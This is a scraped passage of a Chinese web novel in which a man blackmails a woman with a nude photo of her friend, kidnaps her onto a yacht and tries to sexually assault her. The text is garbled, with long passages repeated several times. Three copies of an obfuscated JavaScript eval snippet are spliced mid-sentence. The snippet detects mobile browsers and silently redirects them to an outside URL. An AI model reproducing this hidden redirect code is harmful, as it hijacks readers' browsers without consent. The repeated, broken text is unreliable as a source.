于是他按亮了阳台的灯,自己站在灯下,让他看的更清楚一点—— 他的声音沉郁:“似此星辰非昨夜,为谁风露立中宵?” 毕竟多年兄弟,傅东擎听明白了他的意思。 如今已经今非昔比,宋凝现在已经是他丁予期写在结婚证上的合法妻子了,他现在这样半夜等人是为哪般? 傅东擎说:“我要跟宋凝说话,你让她下来。” “宋凝现在是我的太太,大晚上的不方便跟其他男人见面,傅总还是请回吧。” 傅东擎不过冷笑了一声:“丁予期,你在怕。你怕我跟阿凝十五年的感情,她不可能完全放下我。你怕只要她跟我见面,就会选择离开你。” “激将法?”丁予期哼笑:“可我不吃这一套。傅总要是想等,那就继续等吧,这盏灯我给你开着,如果你敢看,那就一直看下去吧。” “……丁予期,你什么意思?让我看什么?” “新婚燕尔,刚洗完澡,你说呢?” 第一百三十八章 傅东擎是在逼我去见他 傅东擎忽然惊呼了一声:“阿凝!” 丁予期一回头,就看到宋凝只围着一条浴巾就跑了出来。 头发也没完全擦干,还在滴滴答答的滴水。 “唐婷没事吧?”她有些急切。 丁予期微微蹙眉,拥着她回了屋里:“晚上外面冷,怎么穿成这样就跑出来?” 他视线下滑,眉心拧得更紧了:“鞋也不穿。” 他把她按在沙发上坐下,去客卧取了她的拖鞋出来,蹲在她面前。 一手拿着干净的湿纸巾,一手捏着她的脚腕,帮她擦脚。 他的手上有轻微的薄茧,刮在皮肤上有一种粗粝的触感。 但转瞬间就被湿纸巾软柔冰凉的触感所代替。 这种粗糙和柔韧交替的触感,让她微微起了一层鸡皮疙瘩。 丁予期留意到了,直接站了起来,转身去了客房。 回来的时候,手里拿着一条薄毯,轻轻披在她身上,然后紧了紧,把她严严实实的包住。 他继续蹲下来帮她擦脚:“不是唐婷,别担心。” 宋凝轻轻把脚往回抽了一下:“我……我自己可以。” 丁予期却没松手,继续手上的动作:“再担心朋友,也要顾念一下自己,嗯?” 宋凝低下头,叹了口气:“我是怕傅东擎又发疯。” “你怕他用唐婷威胁你?” “……他之前就这么干过一次。” 丁予期点了点头:“知道了。” “知道了是什么意思?” “交给我,我来解决。” 嗡—— 刚刚被丁予期顺手放在茶几上的手机振动了一下。 是一条消息进来。 没有文字,只是一张图片。 丁予期扫了一眼发消息的号码,“傅东擎发的。” “刚刚是他打的电话?” “嗯。” “说什么了?” 擦完一只脚,他温柔地把她的脚放在自己膝盖上,然后去捞她的另一只脚继续擦。 “反正还是不死心。” 宋凝点了点头。 丁予期轻笑:“你不问我他具体说了什么?” “你不是说他不死心么,我大概能猜到他都说了些什么,不用问。” 丁予期低下头去,声音有些低沉:“你们这十五年没白处,你确定挺了解他。” “我是了解你。”宋凝说:“我们两个斗嘴斗了这么多年,我跟你说的话比跟 傅东擎说的话多多了。” 听到这里,丁予期微微哼笑了一下:“也是。” 两只脚都擦完,他把湿纸巾随意一扔,站了起来,却很快朝着她俯下身子:“我抱你回去?” 宋凝捏着浴巾的边缘,别过脸去:“麻烦你帮我拿一下鞋子就行,谢谢。” 丁予期含笑看了她一会儿,最终还是没有勉强她,起身去了客房。 很快,他就回来了。 两手空空如也。 宋凝:“鞋子呢?” “不见了。” 宋凝:“……” 丁予期说:“这次真不是我耍心机,真没了。” 宋凝无语:“难不成你这个房间真闹鬼?” 正说着,不远处好大儿欢快地哒哒哒跑了过来。 嘴里还叼着一个东西。 粉丝的。 橡胶的。 她的拖鞋残骸。 好大儿像是来求表扬的,把嘴里的东西放在了宋凝面前,还用鼻子拱了拱,然后就咧着大嘴吐舌头傻笑。 宋凝一看它,它就精神抖擞地挺直的腰杆,耳朵都放了下去,就等宋凝把手放在狗头上摸摸。 宋凝:“……” 丁予期:“要不你先穿我的?” “……酒店应该有一次性的拖鞋,我让前台帮忙送一双过来吧。” 宋凝拿起手机,准备给前台打个电话,可傅东擎方才发的消息却映入眼帘—— 一张唐婷的照片。 她一丝不挂,昏迷地躺在床上。 宋凝一眼就认了出来,这就是上次傅东擎为了逼她出现,强闯了唐婷的房间,用**迷晕了她的那一次! 可是他明明说过,照片已经全部被销毁了! 宋凝气的胸口剧烈地起伏着,浑身都在发抖:“傅东擎这个混蛋!” 丁予期察觉到宋凝的异样,连忙去看她的手机:“他发了什么? 可是宋凝一把把手机收了回来,按在自己的心口:“抱歉,不太方便给你看。” 丁予期没有强求,点了点头:“你现在想怎么做?” “……傅东擎是在逼我去见他。” “我陪你一起。” 宋凝思索了一下,摇了摇头:“他现在对你肯定恨之入骨,看到你陪我去,估计会更加疯狂,很多事情就谈不了。” 丁予期大概猜出来了,他刚刚发的那张照片,应该是宋凝的软肋。 她今晚不得不去。 “那我让大 拿陪你去,大拿做事稳妥,傅东擎也不认识他。” 宋凝点了点头。 她回了客房换好衣服出来,客厅里老姚他们都在了。 大拿站了起来:“嫂子别怕,我陪你去。” 宋凝点了点头:“不好意思,麻烦你们了。” 老姚立刻说:“没事,我们回去了也没睡着。嫂子,要不然我跟萝卜也陪你一起?” “不用了,大拿一个人就够了。” 唐婷照片的事情,还是越少人知道越好。 宋凝跟大拿到了楼下,傅东擎显然已经等了有一会儿了。 他正靠在一棵树下,刷着手机,似乎在看什么。 听到脚步声,他看了过来,唇角漾开一抹笑意:“阿凝,你来了。” 紧接着,他看到了站在宋凝身后处于保护姿态的大拿:“你还带了人?” 宋凝走了过去,神情冰冷:“唐婷的照片为什么还会有?” 傅东擎嗤笑了一声,带着微微的嘲讽意味:“如果我不拿出照片,你怎么肯下来见我?” “可是你明明跟我说过,那些照片全部销毁了!” “原本是想销毁的,”傅东擎顿了顿,转而看向她:“可是阿凝,我不能没有你,我没办法放手。丁予期下手快,先哄着你把结婚证领了,打了我一个措手不及,否则这些照片永远都不会现世,要怪你也得怪他,是他逼得我无路可走。” 宋凝深吸了一口气:“傅东擎,结束了就是结束了,不管我跟他有没有登记,我们确实回不去了。” “我说能就能。” “你想怎么……” 砰! 宋凝突然感觉后颈一痛,眼前一黑,整个人软软的倒了下去。 拿陪你去,大拿做事稳妥,傅东擎也不认识他。” 宋凝点了点头。 她回了客房换好衣服出来,客厅里老姚他们都在了。 大拿站了起来:“嫂子别怕,我陪你去。” 宋凝点了点头:“不好意思,麻烦你们了。” 老姚立刻说:“没事,我们回去了也没睡着。嫂子,要不然我跟萝卜也陪你一起?” “不用了,大拿一个人就够了。” 唐婷照片的事情,还是越少人知道越好。 宋凝跟大拿到了楼下,傅东擎显然已经等了有一会儿了。 他正靠在一棵树下,刷着手机,似乎在看什么。 听到脚步声,他看了过来,唇角漾开一抹笑意:“阿凝,你来了。” 紧接着,他看到了站在宋凝身后处于保护姿态的大拿:“你还带了人?” 宋凝走了过去,神情冰冷:“唐婷的照片为什么还会有?” 傅东擎嗤笑了一声,带着微微的嘲讽意味:“如果我不拿出照片,你怎么肯下来见我?” “可是你明明跟我说过,那些照片全部销毁了!” “原本是想销毁的,”傅东擎顿了顿,转而看向她:“可是阿凝,我不能没有你,我没办法放手。丁予期下手快,先哄着你把结婚证领了,打了我一个措手不及,否则这些照片永远都不会现世,要怪你也得怪他,是他逼得我无路可走。” 宋凝深吸了一口气:“傅东擎,结束了就是结束了,不管我跟他有没有登记,我们确实回不去了。” “我说能就能。” “你想怎么……” 砰! 宋凝突然感觉后颈一痛,眼前一黑,整个人软软的倒了下去。 拿陪你去,大拿做事稳妥,傅东擎也不认识他。” 宋凝点了点头。 她回了客房换好衣服出来,客厅里老姚他们都在了。 大拿站了起来:“嫂子别怕,我陪你去。” 宋凝点了点头:“不好意思,麻烦你们了。” 老姚立刻说:“没事,我们回去了也没睡着。嫂子,要不然我跟萝卜也陪你一起?” “不用了,大拿一个人就够了。” 唐婷照片的事情,还是越少人知道越好。 宋凝跟大拿到了楼下,傅东擎显然已经等了有一会儿了。 他正靠在一棵树下,刷着手机,似乎在看什么。 听到脚步声,他看了过来,唇角漾开一抹笑意:“阿凝,你来了。” 紧接着,他看到了站在宋凝身后处于保护姿态的大拿:“你还带了人?” 宋凝走了过去,神情冰冷:“唐婷的照片为什么还会有?” 傅东擎嗤笑了一声,带着微微的嘲讽意味:“如果我不拿出照片,你怎么肯下来见我?” “可是你明明跟我说过,那些照片全部销毁了!” “原本是想销毁的,”傅东擎顿了顿,转而看向她:“可是阿凝,我不能没有你,我没办法放手。丁予期下手快,先哄着你把结婚证领了,打了我一个措手不及,否则这些照片永远都不会现世,要怪你也得怪他,是他逼得我无路可走。” 宋凝深吸了一口气:“傅东擎,结束了就是结束了,不管我跟他有没有登记,我们确实回不去了。” “我说能就能。” “你想怎么……” 砰! 宋凝突然感觉后颈一痛,眼前一黑,整个人软软的倒了下去。 拿陪你去,大拿做事稳妥,傅东擎也不认识他。” 宋凝点了点头。 她回了客房换好衣服出来,客厅里老姚他们都在了。 大拿站了起来:“嫂子别怕,我陪你去。” 宋凝点了点头:“不好意思,麻烦你们了。” 老姚立刻说:“没事,我们回去了也没睡着。嫂子,要不然我跟萝卜也陪你一起?” “不用了,大拿一个人就够了。” 唐婷照片的事情,还是越少人知道越好。 宋凝跟大拿到了楼下,傅东擎显然已经等了有一会儿了。 他正靠在一棵树下,刷着手机,似乎在看什么。 听到脚步声,他看了过来,唇角漾开一抹笑意:“阿凝,你来了。” 紧接着,他看到了站在宋凝身后处于保护姿态的大拿:“你还带了人?” 宋凝走了过去,神情冰冷:“唐婷的照片为什么还会有?” 傅东擎嗤笑了一声,带着微微的嘲讽意味:“如果我不拿出照片,你怎么肯下来见我?” “可是你明明跟我说过,那些照片全部销毁了!” “原本是想销毁的,”傅东擎顿了顿,转而看向她:“可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋凝突然感觉后颈一痛,眼前一黑,整个人软软的倒了下去。 拿陪你去,大拿做事稳妥,傅东擎也不认识他。” 宋凝点了点头。 她回了客房换好衣服出来,客厅里老姚他们都在了。 大拿站了起来:“嫂子别怕,我陪你去。” 宋凝点了点头:“不好意思,麻烦你们了。” 老姚立刻说:“没事,我们回去了也没睡着。嫂子,要不然我跟萝卜也陪你一起?” “不用了,大拿一个人就够了。” 唐婷照片的事情,还是越少人知道越好。 宋凝跟大拿到了楼下,傅东擎显然已经等了有一会儿了。 他正靠在一棵树下,刷着手机,似乎在看什么。 听到脚步声,他看了过来,唇角漾开一抹笑意:“阿凝,你来了。” 紧接着,他看到了站在宋凝身后处于保护姿态的大拿:“你还带了人?” 宋凝走了过去,神情冰冷:“唐婷的照片为什么还会有?” 傅东擎嗤笑了一声,带着微微的嘲讽意味:“如果我不拿出照片,你怎么肯下来见我?” “可是你明明跟我说过,那些照片全部销毁了!” “原本是想销毁的,”傅东擎顿了顿,转而看向她:“可是阿凝,我不能没有你,我没办法放手。丁予期下手快,先哄着你把结婚证领了,打了我一个措手不及,否则这些照片永远都不会现世,要怪你也得怪他,是他逼得我无路可走。” 宋凝深吸了一口气:“傅东擎,结束了就是结束了,不管我跟他有没有登记,我们确实回不去了。” “我说能就能。” “你想怎么……” 砰! 宋凝突然感觉后颈一痛,眼前一黑,整个人软软的倒了下去。 拿陪你去,大拿做事稳妥,傅东擎也不认识他。” 宋凝点了点头。 她回了客房换好衣服出来,客厅里老姚他们都在了。 大拿站了起来:“嫂子别怕,我陪你去。” 宋凝点了点头:“不好意思,麻烦你们了。” 老姚立刻说:“没事,我们回去了也没睡着。嫂子,要不然我跟萝卜也陪你一起?” “不用了,大拿一个人就够了。” 唐婷照片的事情,还是越少人知道越好。 宋凝跟大拿到了楼下,傅东擎显然已经等了有一会儿了。 他正靠在一棵树下,刷着手机,似乎在看什么。 听到脚步声,他看了过来,唇角漾开一抹笑意:“阿凝,你来了。” 紧接着,他看到了站在宋凝身后处于保护姿态的大拿:“你还带了人?” 宋凝走了过去,神情冰冷:“唐婷的照片为什么还会有?” 傅东擎嗤笑了一声,带着微微的嘲讽意味:“如果我不拿出照片,你怎么肯下来见我?” “可是你明明跟我说过,那些照片全部销毁了!” “原本是想销毁的,”傅东擎顿了顿,转而看向她:“可是阿凝,我不能没有你,我没办法放手。丁予期下手快,先哄着你把结婚证领了,打了我一个措手不及,否则这些照片永远都不会现世,要怪你也得怪他,是他逼得我无路可走。” 宋凝深吸了一口气:“傅东擎,结束了就是结束了,不管我跟他有没有登记,我们确实回不去了。” “我说能就能。” “你想怎么……” 砰! 宋凝突然感觉后颈一痛,眼前一黑,整个人软软的倒了下去。 第一百三十九章 她一辈子都跑不了 宋凝再次醒来的时候,感觉整个世界都在摇晃。 耳边还有粼粼的水声。 她头痛欲裂,神志还不是完全清醒,尤其是后颈,痛的厉害。 她试图想要活动一下手脚,却发现她的双手被分别用**铐在床柱上,根本动弹不得。 宋凝心里顿时沉了下去。 屋子里一片黑漆漆的,什么都看不清。 她似乎是在一个密闭的空间里,鼻息间还有淡淡的汽油味。 “……她醒了吗?” 这个声音是……傅东擎! “还没有,一直昏睡着。” “你下手怎么这么重,阿凝身子弱,万一出什么问题怎么办?” “……对不起傅总,当时情况紧急,而且还是在丁予期的地盘,机会稍纵即逝啊!” 傅东擎沉默了一会儿,语气有些低沉:“问过医生了吗?她为什么还没醒?会不会伤到了神经,有什么后遗症?” 那人回答的有些支支吾吾的:“医生也不能完全确定,只能等宋小姐醒来再观察一下……” 傅东擎顿时变了脸色:“宋小姐?” “不不,是傅太太。抱歉傅总,我刚刚一时嘴快,以后不会了。” 傅东擎冷冷地说道:“如果明天早上她还没醒过来的话,就找其他医生过来给她看看。” “是。可是傅总,我们现在在游艇上,而且还是公海,保险起见的话,还是应该送宋小姐去大陆上的医院看看,免得真的出了什么事,来不及就医。” 傅东擎的声音在海风中显得有些朦胧,听不太真切。 “不能回去,不管是丁予期的外公,还是他的大嫂家,都不是好相与的,阿凝上一秒踏上陆地,下一秒就可能被人带走。我已经失去过阿凝一次,不能再眼睁睁地看着她从我眼前被带走第二次!” “可是傅总,宋小姐……啊不,傅太太一直醒不过来,万一真的出意外了……” “医生有没有说,最严重的后果是什么?会危及生命吗?” “那倒不会,傅太太现在生命体征都很平稳,生命危险肯定是没有的,但是有可能会因为神经被重创造成失忆,或者是一些功能受损。” “功能受损?怎么说?” “比如,视神经被压迫看不到东西了,或者是半年身子动不了之类的。” 说到这里,那人的声音越说越小。 毕竟是他下的手,万一宋凝真的有个三长两短,傅东擎第一个不会放过他。 他战战兢兢的,声音里都带着些颤抖:“傅总,我也是为您办事啊,您也看到了,丁予期他反应很快,我刚下手打晕傅太太,他立马就反应过来了,带着保镖追了出来。如果再迟一步,恐怕就没办法把傅太太从卫斯理酒店带走了。” 他拼命解释,想要为自己换回一点余地。 万一宋凝醒过来出了问题,他也算是提前打了预防针,就算傅东擎要清算他,至少也会从轻发落。 “傅总,您的太太您也了解,她如果挣扎起来,或者是半路上醒了,给丁予期留下什么记号,让他沿途追过来,那我们就前功尽弃了呀!” 傅东擎猛地吸了一口香烟,眼神危险的眯起。 是的。 他的阿凝太过聪明。 已经两次能在丁予期的帮助下无声无息地从他眼皮子底下跑掉,还成功跟他离了婚。 如果下手轻了,她留下什么线索,那么他策划了这么久的计划就又要失败了。 丁予期有了防备,下次想要再把阿凝弄出来,就难上加难。 “傅总,请您看在我一心为您办事的份上,饶了我吧……” 傅东擎哼笑了一声:“你做的很好。” 那人有点意外傅东擎的反应,微微抬起头来,观察傅东擎的反应。 只见他并没有想象中的生气,而是隐隐还带着笑意的。 “……阿凝如果失忆了,未尝不是一件好事。她忘掉了丁予期,也忘掉了我和林澜的所有事,我可以跟她重新开始了。” “那……如果傅太太真的失明了,失聪了,又或者瘫痪在床了,怎么办?” “那更好,”傅东擎的声音更开怀了:“这样的话,她更是一辈子都跑不了了。” 海风呼啸,宋凝听完他们的对话,不禁打了个冷战。 原来,她现在是在游艇上,而且已经到了公海。 这里没有基站,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076420|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机根本没有信号。 唯一跟外界通讯的方式就是卫星电话。 可傅东擎根本不可能给她。 怎么办,她现在该怎么办…… 吱呀一声,船舱的门被推开了。 一股淡淡的烟味夹杂着海上的咸腥气味扑面而来。 借着外面的月光,一个熟悉的黑色轮廓映入眼帘。 他缓缓走进船舱,皮鞋在地板上发出清脆的响声。 宋凝闭上眼睛,继续装睡。 过了一会儿,她感觉到有人坐在了她的床边。 他似乎在轻轻抚摸着她的 脸,然后俯下身,在她额头上落下了一吻:“阿凝,你到底什么时候才能醒过来呢?” 他深吸了一口气,忽而轻笑:“其实你一直这样昏睡下去也挺好的,至少这样的你很乖,不会再时刻想着要逃离我了,我们就这样过一辈子也不错。” 宋凝禁不住齿冷,牙关打颤。 两人离的很近,傅东擎似乎察觉了。 他试探性地叫了一句:“阿凝,你醒了吗?” 宋凝紧紧抿着唇,尽量让自己的呼吸不要因为恐惧和激动而显得太过急促。 傅东擎观察了她一会儿,又轻轻摸了摸她的脸颊,轻声说道:“你继续睡吧,我明早再来看你。” 他起身离开了。 船舱里几乎恢复了方才的寂静和黑暗。 宋凝等了好一会儿,确定他真的已经离开了,才缓缓睁开了眼,沉沉吐出一口气。 她以为射击比赛是她赢了,她算到了林澜会搞破坏,也算到了自己不会输。 可是她压根就没想到,傅东擎这一趟来S市还住进卫斯理,根本就不是打算继续纠缠,而是早就做好了准备,要把她从卫斯理酒店里弄出来。 他甚至早就准备好了游艇接应,直接把她运到了公海上。 就算丁予期能一路追到码头。 可是这么大的公海,他怎么找? 只要这艘游艇不主动报坐标,就没有人能找到茫茫大海中漂泊的一艘小船。 宋凝陷入巨大的虚无里。 因为她突然意识到,傅东擎大概是打算永远被她困在这里了。 第一百四十章 九个月就够了 可是…… 大拿人呢? 她明明记得,当时大拿就是她身后保护她的。 傅东擎安排了人偷袭她,大拿有没有发现? 还是说…… 大拿也同样被袭击了? 如果真的是这样的话,大拿现在人在哪里? 落在了傅东擎的手上吗? 难道也被带上了这艘游艇? 宋凝实在是有些担心,可是现在手被**铐着,压根离不开这个船舱。 或者是,离不开这张床。 还有唐婷的照片…… 傅东擎手里居然还有,那会不会流出去? 宋凝顿时心乱如麻。 一直挨到天边泛起鱼肚白,船舱再次被人打开了。 宋凝依旧闭眼装睡,想着傅东擎见她没醒,待一会儿就会离开。 可是这次她却想错了,傅东擎不但没走,反而坐在床边,轻轻解她上衣的纽扣。 清晨的海风冰凉刺骨,纽扣被一颗一颗解开,露出胸前大片的皮肤,她冷的忍不住打了个寒颤。 “阿凝。”傅东擎叫了一声,但语气似乎很笃定:“别装了,醒来就睁开眼吧。” 宋凝只觉得浑身发冷。 傅东擎手上动作没停,等到他的手开始解她胸前的纽扣时,微微顿了顿,然后大手伸了进去,握住了她内衣的扣子。 宋凝一激灵,潜意识的反应根本来不及用理智思考,她几乎是整个身体都在颤抖,试图避开他的手指。 不过也是因为这样,她装睡也装不下去了,只能睁开眼睛。 傅东擎似乎早就聊到了,此时也在看着她。 “不睡了?”他微微轻笑了一下。 宋凝脸色微沉:“给我把衣服穿好,我冷。” 傅东擎的笑容从方才的温柔变成了冷厉:“怎么,你还准备为他守身如玉?” 宋凝知道,现在的傅东擎就是个疯子。 激怒他并不是个好办法。 于是她深吸了一口气,尽量平静地说道:“我是真的冷。” 傅东擎微微垂眼,也看到了她皮肤上细细密密的鸡皮疙瘩,知道她没说假话。 他脱下自己的外套,包住了她:“这趟出来的匆忙,船上没带太多的物资。再等几天补给就送到了,到时候我让人给你送一床厚一点的被子。” 他说的温柔,可听在宋凝耳朵里,心里猛地一凉。 她的猜测没有错,傅东擎的确是准备要把她困在这里,至少短时间 内是不会放她回去的。 傅东擎俯下身想要吻她,可宋凝执拗地把脸别开到一边。 他的吻落在了她的颈侧。 他察觉了,有些生气:“阿凝,我们十五年的感情,还比不上你跟丁予期这几个月吗?” 他捏住她的下巴,把她的脸强行掰了回来,“我那么爱你,你就这么讨厌我?” 宋凝动了动胳膊,**在金属床柱上被摇的哗啦啦响。 “……这就是你说的爱我?” 傅东擎抬眼,看到了她细腻莹白的手腕上,被**弄出来的红色印子。 “阿凝,你已经从我的眼皮底下逃走太多次了,这次我不可能再让你离开。你放心,**我都留了余量,你只要不挣扎,就不会受伤。” 宋凝直接问道:“你准备困我多久?” “不知道,”傅东擎说:“我本来想着,就这样跟你一辈子都生活在这个船舱里也未尝不可。但是丁予期他外公的力量不容小觑,找到我们只是时间问题。” 原来他都清楚。 他从把她带到公海上的那一刻就清楚地明白,他困不了她一辈子! “既然你都知道,何必继续这样铐着我?”宋凝劝他:“傅东擎,送我回去吧,我们好聚好散,没必要变成仇人。” 傅东擎轻笑:“一场儿戏一样的射击比赛也能算是好聚好散吗?” “那你想怎么样?” 傅东擎顿了一会儿,神情变得严肃起来:“不用一辈子,九个月就够了。只要九个月内你不被找到,那一切就都可以回到原来的轨道。” 九个月? 宋凝不太明白为什么是九个月这种精准的数字。 “……我爸妈之前一直针对你,只是因为你一直不愿意生孩子。他们对林澜青睐有加,也是因为那时候林澜谎称有了我的孩子。这一切的根源,其实都在于孩子。” “阿凝,只要你生下我的孩子,我父母就一定会接受你,像是当时疼爱林澜一样疼爱你的。而且,如果你生下了我的孩子,就算丁予期到时候找到了你,这一切也就再也无法回转……” 说着,他手指灵活地解开了她内衣的扣子,捏着她的下巴就吻了下来。 宋凝拼命地摇头躲避,可是手腕被束缚着,双腿也被他压制,根本毫无反抗能力。 “傅东擎,你别逼我恨你!” “恨我就恨我吧,总好过你眼中没有我……” “傅东擎!!!” 宋凝找到了一个机会,屈膝重重 一顶。 傅东擎顿时痛的脸色发白,停止了对她的桎梏。 “阿凝你……” 恰在这时,船舱的门被敲响了。 “傅总,您在里面吗?” 好事被打断,傅东擎满脸阴沉,扬声问道:“有事?” 小何的声音,宋凝还是认得出来的。 他也知道现在不该打扰,但是有件事确实不得不汇报:“那个人醒了,要怎么处理?” 傅东擎听了这话,微微正色起来:“等我一下。” “是。” 他缓了一会儿,等痛意过去,才渐渐恢复了神志。 宋凝急急问道:“是大拿吗?就是昨晚跟着我的那个人,你们把他也弄到船上来了?他现在怎么样?你们都对他做了什么?!” 游艇并不算太大,风吹进来,把宋凝的衬衫吹得往两边散开。 她冷的声音都在微微颤抖。 傅东擎叹息了一声,拧着眉头帮她把扣子重新系好:“你那么担心他做什么?” “他是我的朋友!” “是你的朋友,还是丁予期的朋友!?”傅东擎冷笑了一声:“你还真是向着他,连他的朋友都这么关心。” 说完这句话,他的脸色微微一变。 丁予期也曾经是他的朋友。 而最后,他成功把宋凝从傅太太变成了丁太太。 傅东擎想到这个,就不由得冷笑了一声:“阿凝,你对那个狙击手……也很青睐吗?” 一顶。 傅东擎顿时痛的脸色发白,停止了对她的桎梏。 “阿凝你……” 恰在这时,船舱的门被敲响了。 “傅总,您在里面吗?” 好事被打断,傅东擎满脸阴沉,扬声问道:“有事?” 小何的声音,宋凝还是认得出来的。 他也知道现在不该打扰,但是有件事确实不得不汇报:“那个人醒了,要怎么处理?” 傅东擎听了这话,微微正色起来:“等我一下。” “是。” 他缓了一会儿,等痛意过去,才渐渐恢复了神志。 宋凝急急问道:“是大拿吗?就是昨晚跟着我的那个人,你们把他也弄到船上来了?他现在怎么样?你们都对他做了什么?!” 游艇并不算太大,风吹进来,把宋凝的衬衫吹得往两边散开。 她冷的声音都在微微颤抖。 傅东擎叹息了一声,拧着眉头帮她把扣子重新系好:“你那么担心他做什么?” “他是我的朋友!” “是你的朋友,还是丁予期的朋友!?”傅东擎冷笑了一声:“你还真是向着他,连他的朋友都这么关心。” 说完这句话,他的脸色微微一变。 丁予期也曾经是他的朋友。 而最后,他成功把宋凝从傅太太变成了丁太太。 傅东擎想到这个,就不由得冷笑了一声:“阿凝,你对那个狙击手……也很青睐吗?” 一顶。 傅东擎顿时痛的脸色发白,停止了对她的桎梏。 “阿凝你……” 恰在这时,船舱的门被敲响了。 “傅总,您在里面吗?” 好事被打断,傅东擎满脸阴沉,扬声问道:“有事?” 小何的声音,宋凝还是认得出来的。 他也知道现在不该打扰,但是有件事确实不得不汇报:“那个人醒了,要怎么处理?” 傅东擎听了这话,微微正色起来:“等我一下。” “是。” 他缓了一会儿,等痛意过去,才渐渐恢复了神志。 宋凝急急问道:“是大拿吗?就是昨晚跟着我的那个人,你们把他也弄到船上来了?他现在怎么样?你们都对他做了什么?!” 游艇并不算太大,风吹进来,把宋凝的衬衫吹得往两边散开。 她冷的声音都在微微颤抖。 傅东擎叹息了一声,拧着眉头帮她把扣子重新系好:“你那么担心他做什么?” “他是我的朋友!” “是你的朋友,还是丁予期的朋友!?”傅东擎冷笑了一声:“你还真是向着他,连他的朋友都这么关心。” 说完这句话,他的脸色微微一变。 丁予期也曾经是他的朋友。 而最后,他成功把宋凝从傅太太变成了丁太太。 傅东擎想到这个,就不由得冷笑了一声:“阿凝,你对那个狙击手……也很青睐吗?” 一顶。 傅东擎顿时痛的脸色发白,停止了对她的桎梏。 “阿凝你……” 恰在这时,船舱的门被敲响了。 “傅总,您在里面吗?” 好事被打断,傅东擎满脸阴沉,扬声问道:“有事?” 小何的声音,宋凝还是认得出来的。 他也知道现在不该打扰,但是有件事确实不得不汇报:“那个人醒了,要怎么处理?” 傅东擎听了这话,微微正色起来:“等我一下。” “是。” 他缓了一会儿,等痛意过去,才渐渐恢复了神志。 宋凝急急问道:“是大拿吗?就是昨晚跟着我的那个人,你们把他也弄到船上来了?他现在怎么样?你们都对他做了什么?!” 游艇并不算太大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076421|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,风吹进来,把宋凝的衬衫吹得往两边散开。 她冷的声音都在微微颤抖。 傅东擎叹息了一声,拧着眉头帮她把扣子重新系好:“你那么担心他做什么?” “他是我的朋友!” “是你的朋友,还是丁予期的朋友!?”傅东擎冷笑了一声:“你还真是向着他,连他的朋友都这么关心。” 说完这句话,他的脸色微微一变。 丁予期也曾经是他的朋友。 而最后,他成功把宋凝从傅太太变成了丁太太。 傅东擎想到这个,就不由得冷笑了一声:“阿凝,你对那个狙击手……也很青睐吗?” 一顶。 傅东擎顿时痛的脸色发白,停止了对她的桎梏。 “阿凝你……” 恰在这时,船舱的门被敲响了。 “傅总,您在里面吗?” 好事被打断,傅东擎满脸阴沉,扬声问道:“有事?” 小何的声音,宋凝还是认得出来的。 他也知道现在不该打扰,但是有件事确实不得不汇报:“那个人醒了,要怎么处理?” 傅东擎听了这话,微微正色起来:“等我一下。” “是。” 他缓了一会儿,等痛意过去,才渐渐恢复了神志。 宋凝急急问道:“是大拿吗?就是昨晚跟着我的那个人,你们把他也弄到船上来了?他现在怎么样?你们都对他做了什么?!” 游艇并不算太大,风吹进来,把宋凝的衬衫吹得往两边散开。 她冷的声音都在微微颤抖。 傅东擎叹息了一声,拧着眉头帮她把扣子重新系好:“你那么担心他做什么?” “他是我的朋友!” “是你的朋友,还是丁予期的朋友!?”傅东擎冷笑了一声:“你还真是向着他,连他的朋友都这么关心。” 说完这句话,他的脸色微微一变。 丁予期也曾经是他的朋友。 而最后,他成功把宋凝从傅太太变成了丁太太。 傅东擎想到这个,就不由得冷笑了一声:“阿凝,你对那个狙击手……也很青睐吗?” 一顶。 傅东擎顿时痛的脸色发白,停止了对她的桎梏。 “阿凝你……” 恰在这时,船舱的门被敲响了。 “傅总,您在里面吗?” 好事被打断,傅东擎满脸阴沉,扬声问道:“有事?” 小何的声音,宋凝还是认得出来的。 他也知道现在不该打扰,但是有件事确实不得不汇报:“那个人醒了,要怎么处理?” 傅东擎听了这话,微微正色起来:“等我一下。” “是。” 他缓了一会儿,等痛意过去,才渐渐恢复了神志。 宋凝急急问道:“是大拿吗?就是昨晚跟着我的那个人,你们把他也弄到船上来了?他现在怎么样?你们都对他做了什么?!” 游艇并不算太大,风吹进来,把宋凝的衬衫吹得往两边散开。 她冷的声音都在微微颤抖。 傅东擎叹息了一声,拧着眉头帮她把扣子重新系好:“你那么担心他做什么?” “他是我的朋友!” “是你的朋友,还是丁予期的朋友!?”傅东擎冷笑了一声:“你还真是向着他,连他的朋友都这么关心。” 说完这句话,他的脸色微微一变。 丁予期也曾经是他的朋友。 而最后,他成功把宋凝从傅太太变成了丁太太。 傅东擎想到这个,就不由得冷笑了一声:“阿凝,你对那个狙击手……也很青睐吗?” 一顶。 傅东擎顿时痛的脸色发白,停止了对她的桎梏。 “阿凝你……” 恰在这时,船舱的门被敲响了。 